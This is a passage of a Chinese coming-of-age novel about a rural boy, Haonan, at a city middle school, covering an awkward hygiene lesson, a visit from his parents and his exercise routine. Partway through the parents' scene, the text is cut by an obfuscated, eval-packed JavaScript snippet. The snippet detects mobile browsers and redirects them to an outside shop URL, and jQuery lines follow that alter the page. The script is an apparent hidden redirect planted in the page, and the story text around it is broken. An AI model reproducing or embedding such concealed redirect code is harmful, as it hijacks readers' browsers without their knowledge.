那个年代的阳光，暖融融地洒在初三（4）那间略显陈旧的教室里。课表上的“生理卫生”四个字，像是带着某种不可言说的魔力，让整个教室的氛围都变得微妙起来。
那年春末的阳光透过教室斑驳的玻璃窗，在初三（4）班的课桌上投下细碎的光影。
当孙老师抱着墨绿色的《生理卫生》课本走进教室时，原本喧闹的课堂突然安静得能听见粉笔盒碰撞讲台的声响。
前排的吴莉偷偷将课本竖起来，挡住自己发烫的脸颊。
“同学们，今天我们讲......“孙老师的声音卡在喉咙里，推了推滑到鼻尖的眼镜。
他翻书的手指有些发颤，泛黄的纸页间夹着的书签突然飘落——那是片干枯的银杏叶，在寂静的教室里划出细长的弧线。后排的男生们开始用课本搭建堡垒，故意发出窸窸窣窣的声响，试图掩盖尴尬。
浩楠盯着课本上模糊的插图，铅字在眼前游动。
生殖系统的示意图旁，配着用楷体书写的注释，每个字都工整得像是刻意回避某种隐秘。
他注意到同桌汪伟的耳朵尖红得发烫，铅笔在草稿纸上反复画着无意义的螺旋，橡皮碎屑堆成小小的山丘。
“月经是女性正常的生理现象......“孙老师的声音突然拔高，惊得教室后墙的麻雀扑棱棱飞走。
几个女生慌忙低头，用钢笔在课本空白处胡乱涂鸦。
浩楠瞥见前排林晓红的钢笔尖深深扎进纸里，洇出深色的墨点，而她鬓角的碎发早已被汗水黏在脸颊。
下课铃响起时，孙老师几乎是小跑着离开教室。
教室里瞬间炸开锅，男生们挤在过道模仿老师结巴的语气，女生们则聚在一起咬着耳朵。
浩楠偷偷将课本塞进书包最底层，却摸到里面还躺着未做完的数学试卷，两种知识的边界在黑暗中模糊不清。
傍晚的自习课，他鬼使神差地翻开课本。
月光透过气窗洒进来，照在“青春期发育“那页。
文字描述着身体的变化，配图里的人体轮廓被简化成线条，却依然让他心跳加速。
突然，身后传来窸窣响动，他猛地合上书，课本边缘重重磕在桌角，惊得整个教室的目光都投了过来。
放学路上，浩楠和郭明磊并肩走着。
两人都沉默不语，直到路过供销社的宣传栏，那里新贴的《计划生育宣传画》上，戴着白大褂的医生正在讲解避孕知识。
郭明磊突然踢开脚边的石子：“你说......“话没说完又咽了回去。
夜色中，他们加快脚步，影子被路灯拉得很长，像两道未解的谜题。
上课铃响过好一会儿，年近四十的孙老师才捧着课本匆匆走进教室，他的脸微微泛红，清了清嗓子：“同学们，今天咱们讲生理卫生课的这部分内容……”
话音刚落，教室里瞬间安静得能听见窗外树叶摩挲的声音，男生们不自觉地挺直腰板，眼睛却死死盯着桌面，女生们则纷纷低下头，几缕发丝滑落，遮住了涨红的脸颊。
孙老师艰难地翻开课本，目光在书页上匆匆一扫，声音不自觉地有些发紧：“大家先把书翻到生殖系统这章……”
底下瞬间响起一阵细碎的动静，桌椅挪动声、压低的惊叹声交织。
靠窗的几个男生对视一眼，**挤眉弄眼地捅了捅旁边的王浩，小声嘀咕：“这咋讲啊，怪不好意思的。”
王浩狠狠瞪他一眼，低声回：“别闹，听着呗。”可耳朵尖都泛起了红。
后排的女生们更是拘谨，林晓红紧攥着同桌的手，指尖都泛白了，嗫嚅道：“真难为情，咋还讲这个。”
同桌陈宜红着脸点头，小声嘟囔：“谁知道呢，可又有点好奇……”
她们的目光偷偷瞟向讲台上的老师，又迅速收回。
孙老师硬着头皮读着课文，偶尔停顿解释几句，额头上冒出细密汗珠。
那年闷热的午后，初三（4）班的吊扇吱呀转动，卷起孙老师教案上的边角。
浩楠盯着讲台上那本墨绿色的《生理卫生》课本，封皮上“内部教材“的红章被阳光晒得褪色，像极了此刻老师欲言又止的神色。
“同学们，今天讲......“孙老师的喉结滚动两下，粉笔在黑板上划出歪扭的弧线。
前排女生突然齐刷刷地挺直脊背，后排男生把课本立成屏障，偷偷用铅笔捅同桌的后背。
浩楠注意到老师袖口的补丁，和教案本里露出半截的碎花手帕——那是上节课帮女生包扎伤口时用的。
“女性的......“孙老师的声音突然细得像游丝，粉笔灰簌簌落在他洗得发白的蓝布衫上。
浩楠死死盯着课本上模糊的插图，那些用阴影遮盖的人体轮廓仿佛有了温度。
当“月经“二字从老师口中飘出时，整个教室突然响起此起彼伏的咳嗽声，汪伟故意打翻搪瓷缸，绿豆汤在课桌上蜿蜒成诡异的形状。
孙老师猛地合上书本：“剩下的内容，大家自己看。“他转身时，教案本里滑出张泛黄的剪报，标题《正确认识青春期》被红笔圈得密密麻麻。浩楠弯腰帮忙捡起，触到老师指尖的老茧，粗糙得像父亲工地的麻绳。
课间，浩楠捧着课本追到办公室。孙老师正在批改作业，钢笔尖悬在作文本上方迟迟未落。“老师，这个......“浩楠指着生殖系统那页，喉咙发紧。
孙老师突然起身关上门，玻璃窗上的雾气被手指划出模糊的痕迹：“你记住，这些知识就像......像没熟透的果子，知道存在就好。“
暮色降临时，浩楠独自坐在操场单杠上。晚风掀起课本，生殖器官的插图在霞光中忽隐忽现。
远处教学楼亮起灯火，某个教室传来女生压抑的笑声。他摸着裤兜里从图书馆偷藏的《十万个为什么》，那本被翻旧的科普书里，关于人体的章节被人用刀片小心裁去了。
月光爬上双杠时，浩楠突然明白孙老师为什么总在讲到关键处咳嗽。
那些被省略的字句、刻意模糊的插图，就像被锁住的潘多拉魔盒，既撩拨着少年的好奇心，又在无形间竖起一道密不透风的墙。
他合上课本，听见自己剧烈的心跳声，混着远处火车的汽笛，在空旷的操场上久久回荡。
这时，班上的调皮鬼赵阳举手，憋着笑问：“老师，这图上画的到底咋回事啊？”
教室里“哄”地一下炸开了锅，笑声、嗔怪声此起彼伏。
孙老师尴尬地摆摆手：“课后自己看书理解！”
好不容易熬到下课铃响，孙老师如释重负地离开，教室里却像煮开的沸水。
班长贾珂皱着眉头维持秩序：“别吵了！”
可没人理会。
“我听说隔壁班上课都不敢大声喘气儿。”文艺委员吴莉笑着说。
“这知识其实挺重要的，就是太难为情了。”学习成绩好的李辉一本正经地补上一句，换来众人一阵哄笑。
在这羞赧与好奇交织的氛围里，青春的懵懂如破土嫩苗，在那个含蓄年代的角落里，悄悄探出头来，于窃窃私语中舒展着最初的生机，尽管青涩，却又势不可挡。
蝉鸣在校园那几株老槐树上此起彼伏，像是把那个年代的闷热都扯着嗓子喊了出来。
浩楠坐在寝室吱呀作响的床边，手指无意识地抠着木头床沿，心里空落落的。
住进这楼下寝室好几晚了，窗外月影透过斑驳窗棂洒在地上，他依旧翻来覆去难以入眠，木板床硬邦邦的，同学们此起彼伏的呼噜声也扰得他心烦，想家的思绪在暗夜里缠成一团乱麻。
午后，日光正烈，浩楠正对着习题册发呆，室友戳戳他：“浩楠，校门口有人找你。”
他满心疑惑，一抬眼，就瞧见爸妈站在寝室门口，身影被门框勾勒出熟悉又亲切的轮廓。
爸爸世和穿着那件洗得发白的的确良衬衫，袖口卷了几圈，妈妈冰玉则是朴素的碎花短袖，头发整齐地别在耳后，两人脸上带着一路奔波的疲惫，可眼神亮得灼人。
“爸妈，你们咋来了？”浩楠眼眶一热，忙迎上去。
妈妈抬手摸摸他的头，眼里满是心疼：“宝儿，听你说住这儿不习惯，妈惦记着。看，给你带了身新衣裳。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717502|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>说着，递过来一个布包，层层打开，里头是崭新的运动衫和运动裤，湛蓝的颜色鲜亮夺目，面料软乎乎的。
浩楠指尖轻触衣物，心头滚烫。
爸爸憨笑着挠挠头：“儿子，好好念书，别为住这儿愁眉苦脸的。咱们户口是农村的，但脑袋智商不一定是落后的，你能在这城里名校上学，机会难得，吃饱穿暖才有劲儿往前冲。”
寝室里几个同学投来羡慕目光，小声议论着“浩楠爸妈真好”。
浩楠紧紧攥着衣服，重重点头，声音有些哽咽：“爸，妈，我知道，你们放心，我肯定拼命学。”
爸妈又细细叮嘱几句，看着他把衣服叠好放妥，才转身离开。浩楠追到门口，望着两人远去背影，直至消失在校园小径尽头。
他深吸一口气，回到寝室穿上新衣，尺码刚刚好，仿佛周身裹满家的温暖。
此刻，那想家的愁绪淡了几分，心底涌起一股劲儿，要在这楼上教室与楼下寝室间，为自己、为家人拼出个前程似锦，伴着新衣的温度，奔赴向中考的战场。
那个年代的风，携着一丝陈旧与蓬勃，吹过这所熙熙攘攘的校园。初三的浩楠，像是游离在热闹边缘的独行者。
教室里，课间的喧闹如同煮沸的开水，城里的同学们三五成群，谈论着最新的港台歌星、时髦的电子游戏，那些新奇玩意儿对浩楠来说，就像另一个世界的光，遥不可及却又灼目。
他默默坐在角落，面前摊开的课本是他最熟悉的“领地”，成绩优异的他，此时却像被一层无形的壳包裹，不愿融入那片喧哗。
“叮铃铃——”下课铃猛地炸响，浩楠像是听到冲锋号角，瞬间起身，凳子与地面摩擦出刺耳声响。
他猫着腰，敏捷地穿过人群缝隙，脚步急切又坚定，直奔楼梯口。
木质楼梯在他急促脚步下发出“咚咚”闷响，仿佛在应和他的心跳。
楼前的单杠区是他的“秘密基地”。
两根生了锈却结实的单杠，静静伫立在沙坑之上。浩楠几个箭步跨上前，双手一甩，掌心稳稳握住横杆，肌肉紧绷，稍一用力，身子便轻盈地腾空而起。
他双腿蜷起，在空中划出利落弧线，做起了引体向上，每一次向上的拉伸，都像是在与那看不见的命运较劲，额头青筋暴起，汗水顺着脸颊滑落，滴在沙地上，洇出一个个小坑。
几个城里同学路过，好奇地瞥一眼，小声议论：“任浩楠咋天天就爱摆弄这单杠？”
“谁知道呢，乡下人就爱瞎折腾身体呗。”
浩楠耳尖，那些低语像针一样扎来，他却咬咬牙，装作没听见，手上动作不停，呼吸愈发急促，心中默念：“成绩再好，身子垮了也白搭，我得撑住。”
此刻，那单杠于他而言，不仅是锻炼体魄的器具，更是他在这略显陌生环境里，坚守自我、积攒力量的支柱，要凭这副好身板，冲破出身局限，向着未来硬闯出一条路，哪怕无人喝彩，也要在汗水中独自加冕。
那是个带着旧时光特有气息的上午，阳光透过斑驳的玻璃窗，慵懒地洒在初三（4）班教室的课桌上。
教室里一片静谧，只等这场特别的演讲开场，题目是“我的同学任浩楠”。
当老师念到袁霞飞的名字时，角落里那个身形纤细、平时寡言少语的女生缓缓站起身，如一片被风裹挟的柔弱树叶，带着几分紧张与拘谨走向讲台。
她手里紧攥着几张皱巴巴的稿纸，指尖因用力而泛白，那是她熬夜拼凑出来的“心血”。
站上讲台，袁霞飞抬头，目光慌乱地扫过台下，触及同学们期待的眼神，瞬间又慌乱地垂下。
她张嘴，干涩的喉咙里挤出的声音带着细微颤抖：“同……同学们，今天我讲，讲我的同学任浩楠。”
话音刚落，那几张稿纸竟像调皮的蝴蝶，从她手中挣脱，稀稀落落地飘向地面。
台下一阵轻微骚动，有同学憋着笑，有人小声惊呼。
袁霞飞的脸瞬间涨得通红，仿若熟透的番茄，她手忙脚乱地弯腰去捡，头发散落下来，遮住了窘迫不堪的面容。